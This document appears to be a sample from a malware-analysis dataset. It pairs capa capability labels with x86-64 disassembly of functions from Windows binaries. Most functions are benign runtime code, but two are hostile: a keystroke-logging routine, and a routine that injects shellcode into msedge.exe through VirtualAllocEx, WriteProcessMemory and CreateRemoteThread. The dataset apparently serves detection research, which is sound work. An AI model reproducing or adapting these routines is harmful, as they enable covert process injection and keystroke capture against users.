joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180004b60
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x18001c010]
xor rax, rsp
mov qword [rsp + 0xb0], rax
movzx edi, dl
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edx, edx
mov ecx, edi
xor ebp, ebp
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov r9d, eax
cmp dil, 1
jne 0x180004bbf
xorps xmm0, xmm0
lea r8d, [rbp + 6]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
lea rdx, str.MOUSE0
mov qword [rbx + 0x18], rbp
jmp 0x180004cc0
cmp dil, 2
jne 0x180004be5
xorps xmm0, xmm0
lea rdx, str.MOUSE1
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov r8d, 6
mov qword [rbx + 0x18], rbp
jmp 0x180004cc0
cmp dil, 4
jne 0x180004c0b
xorps xmm0, xmm0
lea rdx, str.MBUTTON
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov r8d, 7
mov qword [rbx + 0x18], rbp
jmp 0x180004cc0
cmp dil, 5
jne 0x180004c31
xorps xmm0, xmm0
lea rdx, str.XBUTTON1
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov r8d, 8
mov qword [rbx + 0x18], rbp
jmp 0x180004cc0
cmp dil, 6
jne 0x180004c54
xorps xmm0, xmm0
lea rdx, str.XBUTTON2
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov r8d, 8
mov qword [rbx + 0x18], rbp
jmp 0x180004cc0
lea eax, [rdi - 0x21]
cmp eax, 0x84
ja case.0x180004c79.41
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x4cf8]
mov ecx, dword [rdx + rax*4 + 0x4cf0]
add rcx, rdx
jmp rcx
bts r9d, 8
shl r9d, 0x10
lea rdx, [rsp + 0x30]
mov ecx, r9d
mov r8d, 0x80
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], rbp
inc r8
cmp byte [rax + r8], bpl
jne 0x180004cb2
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.180012ec0
mov rax, rbx
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.180013030
mov rbx, qword [rsp + 0xf0]
add rsp, 0xc0
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400010e0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x178
mov rax, qword [0x14001f1c8]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov dword [rsp + 0x20], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x140001180
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140001175
mov rcx, qword [rsp + 0x180]
call fcn.1400025c0
mov rdx, rax
lea rcx, [rsp + 0x5c]
call fcn.140008f80
test eax, eax
jne 0x140001162
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x20], eax
jmp 0x140001175
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14000113a
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400029f0
add rsp, 0x178
ret
Function at 0x1400011b0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0xa8
mov rax, qword [0x14001f1c8]
xor rax, rsp
mov qword [rsp + 0x98], rax
lea rdx, str.msedge.exe
lea rcx, [rsp + 0x78]
call fcn.140001a50
nop
lea rcx, [rsp + 0x78]
call fcn.1400010e0
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14000120b
mov dword [rsp + 0x54], 1
lea rcx, [rsp + 0x78]
call fcn.140001d20
mov eax, dword [rsp + 0x54]
jmp 0x1400013d5
mov r8d, dword [rsp + 0x50]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140001245
mov dword [rsp + 0x58], 1
lea rcx, [rsp + 0x78]
call fcn.140001d20
mov eax, dword [rsp + 0x58]
jmp 0x1400013d5
mov eax, dword [0x14001f1b4]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x14000129c
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x5c], 1
lea rcx, [rsp + 0x78]
call fcn.140001d20
mov eax, dword [rsp + 0x5c]
jmp 0x1400013d5
mov eax, dword [0x14001f1b4]
mov qword [rsp + 0x20], 0
mov r9d, eax
lea r8, section..data
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001308
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x60], 1
lea rcx, [rsp + 0x78]
call fcn.140001d20
mov eax, dword [rsp + 0x60]
jmp 0x1400013d5
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x48]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x140001380
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x64], 1
lea rcx, [rsp + 0x78]
call fcn.140001d20
mov eax, dword [rsp + 0x64]
jmp 0x1400013d5
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x68], 0
lea rcx, [rsp + 0x78]
call fcn.140001d20
mov eax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400029f0
add rsp, 0xa8
ret
Function at 0x140003460
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400034aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400034aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400034aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400034aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400034aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400034ac
xor al, al
add rsp, 0x28
ret

Function at 0x140009e4c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140009c48
Function at 0x14000cbc8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000cbf8
xor eax, eax
jmp 0x14000ccbb
mov rbp, rbx
cmp word [rax], si
je 0x14000cc1d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000cc04
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000cc00
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000cae8
movsxd r14, eax
test eax, eax
jne 0x14000cc5b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000cbf1
mov rcx, r14
call fcn.14000af7c
mov rdi, rax
test rax, rax
jne 0x14000cc74
xor ecx, ecx
call fcn.14000b148
jmp 0x14000cc50
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000cae8
test eax, eax
jne 0x14000cca5
mov rcx, rdi
call fcn.14000b148
jmp 0x14000ccaf
xor ecx, ecx
call fcn.14000b148
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140010020
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000bbb8
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400100aa
cmp byte [rbp - 0x21], r15b
je 0x1400100a5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400100e0
call fcn.14000e19c
test eax, eax
jne 0x1400100cc
cmp byte [rbp - 0x21], r15b
je 0x1400100c4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400100e0
cmp byte [rbp - 0x21], r15b
je 0x1400100dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000b198
test eax, eax
jne 0x140010180
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000bbb8
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001011f
cmp byte [rbp - 0x21], r15b
je 0x140010154
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140010154
call fcn.14000e19c
test eax, eax
jne 0x140010140
cmp byte [rbp - 0x21], r15b
je 0x140010139
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140010154
cmp byte [rbp - 0x21], r15b
je 0x140010151
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000b198
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140010180
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140010183
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140010191
mov rcx, rdi
call fcn.14000b148
cmp byte [rbp + 0x3f], r15b
je 0x1400101a0
mov rcx, qword [rbp + 0x27]
call fcn.14000b148
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x6d7d48d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d7f55e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d7d4a58
mov rax, qword [0x6d7f55e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d7d491c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d7d49a5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d7d4900
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d7d4a8d
mov rax, qword [0x6d7f55e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d7f55e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d7d4a70
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d7d499e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d7d4a00
add dword [0x6d7f55e4], 1
cmp edi, 8
jae 0x6d7d49d3
test dil, 4
jne 0x6d7d4a44
test edi, edi
je 0x6d7d49c8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d7d4a5f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d7d49c8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d7d49ec
jmp 0x6d7d49c8
add rsi, qword [0x6d7f55e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d7d499e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d7d49c8
xor esi, esi
jmp 0x6d7d4927
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d7d49c8
mov rax, qword [0x6d7f55e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d7d51e0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d7f58c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d7f58a0]
test rbx, rbx
je 0x6d7d5234
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d7d522b
test rsi, rsi
je 0x6d7d522b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d7d5210
lea rcx, [0x6d7f58c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d7d5470
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d7d5480
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d7d5490
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d7d54d1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d7d54c8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d7d54d3
add rax, 0x28
cmp rax, r9
jne 0x6d7d54b4
xor eax, eax
ret

Function at 0x6d7d5570
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d7f21f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d7d55dd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7d55dd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d7d55dd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d7d55d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d7d55df
add rax, 0x28
cmp rax, r9
jne 0x6d7d55c0
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d7d56e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d7f21f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d7d5700
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7d56f8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d7d575d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d7d5754
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d7d5764
add rax, 0x28
cmp rax, r9
jne 0x6d7d5740
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d7d5780
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d7f21f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d7d57ee
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7d57ee
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d7d57ee
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d7d57ee
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d7d57e5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d7d57f5
add rcx, 0x28
cmp rcx, rax
jne 0x6d7d57d0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d7d5808
jmp 0x6d7d57ee
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d7d5816
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d7d57ee
test r9d, r9d
jg 0x6d7d5800
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d7d5b50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00405540]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00405550]
mov dword [rax], 1
mov rax, qword [0x00405560]
mov dword [rax], 1
mov rax, qword [0x00405530]
mov dword [rax], 1
mov rax, qword [0x00405420]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00405520]
mov dword [0x00408008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x004054e0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x004053d0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x402160
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x4022e8
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x4021ac
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402235
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402190
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x40231d
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402300
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40222e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402290
add dword [0x00408624], 1
cmp edi, 8
jae 0x402263
test dil, 4
jne 0x4022d4
test edi, edi
je 0x402258
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4022ef
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x402258
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40227c
jmp 0x402258
add rsi, qword [0x00408628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40222e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x402258
xor esi, esi
jmp 0x4021b7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x402258
mov rax, qword [0x00408628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402a70
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x402ac4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x402abb
test rsi, rsi
je 0x402abb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402aa0
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]